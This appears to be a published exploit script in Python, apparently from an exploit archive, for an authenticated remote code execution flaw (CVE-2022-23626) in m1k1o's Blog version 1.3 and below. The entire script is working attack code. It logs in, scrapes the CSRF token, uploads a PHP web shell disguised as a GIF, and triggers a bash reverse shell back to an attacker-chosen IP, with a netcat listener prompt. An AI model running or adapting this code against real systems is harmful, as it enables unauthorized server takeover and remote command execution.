1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-01-06 # Exploit Author: Malte V # Vendor Homepage: https://github.com/m1k1o/blog # Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip # Version: 1.3 and below # Tested on: Linux # CVE : CVE-2022-23626 import argparse import json import re from base64 import b64encode import requests as req from bs4 import BeautifulSoup parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog') parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False) parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost', required=False) parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081, required=False) parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999, required=False) parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False) parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False) args = vars(parser.parse_args()) username = args['username'] password = args['password'] lhost_ip = args['ip'] lhost_port = args['lport'] address = args['url'] port = args['port'] url = f"http://{address}:{port}" blog_cookie = "" csrf_token = "" exploit_file_name = "" header = { "Host": f"{address}", "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } def get_cookie(complete_url): global blog_cookie cookie_header = {} if not blog_cookie: cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}" result = req.get(url=complete_url, headers=cookie_header) if result.status_code == 200: blog_cookie = result.cookies.get_dict()['PHPSESSID'] print(f'[+] Found PHPSESSID: {blog_cookie}') grep_csrf(result) def grep_csrf(result): global csrf_token csrf_regex = r"[a-f0-9]{10}" soup = BeautifulSoup(result.text, 'html.parser') script_tag = str(soup.findAll('script')[1].contents[0]) csrf_token = re.search(csrf_regex, script_tag).group(0) print(f'[+] Found CSRF-Token: {csrf_token}') def login(username, password): get_cookie(url) login_url = f"{url}/ajax.php" login_data = f"action=login&nick={username}&pass={password}" login_header = { "Host": f"{address}", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } result = req.post(url=login_url, headers=login_header, data=login_data) soup = BeautifulSoup(result.text, 'html.parser') login_content = json.loads(soup.text) if login_content.get('logged_in'): print('[*] Successful login') else: print('[!] Bad login') def set_cookie(result): global blog_cookie blog_cookie = result.cookies.get_dict()['PHPSESSID'] def generate_payload(command): return f""" -----------------------------13148889121752486353560141292 Content-Disposition: form-data; name="file"; filename="malicious.gif.php" Content-Type: application/x-httpd-php GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>; -----------------------------13148889121752486353560141292-- """ def send_payload(): payload_header = { "Host": f"{address}", "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "X-Requested-With": "XMLHttpRequest", "Csrf-Token": f"{csrf_token}", "Cookie": f"PHPSESSID={blog_cookie}" } upload_url = f"http://{address}:{port}/ajax.php?action=upload_image" command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'" payload = generate_payload(command) print(f"[+] Upload exploit") result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"}) set_exploit_file_name(result.content.decode('ascii')) def set_exploit_file_name(data): global exploit_file_name file_regex = r"[a-zA-Z0-9]{4,5}.php" exploit_file_name = re.search(file_regex, data).group(0) def call_malicious_php(file_name): global header complete_url = f"{url}/data/i/{file_name}" print('[*] Calling reverse shell') result = req.get(url=complete_url) def check_reverse_shell(): yes = {'yes', 'y', 'ye', ''} no = {'no', 'n'} choice = input("Have you got an active netcat listener (y/Y or n/N): ") if choice in yes: return True elif choice in no: print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"") return False def main(): enabled_listener = check_reverse_shell() if enabled_listener: login(username, password) send_payload() call_malicious_php(exploit_file_name) if __name__ == "__main__": main() |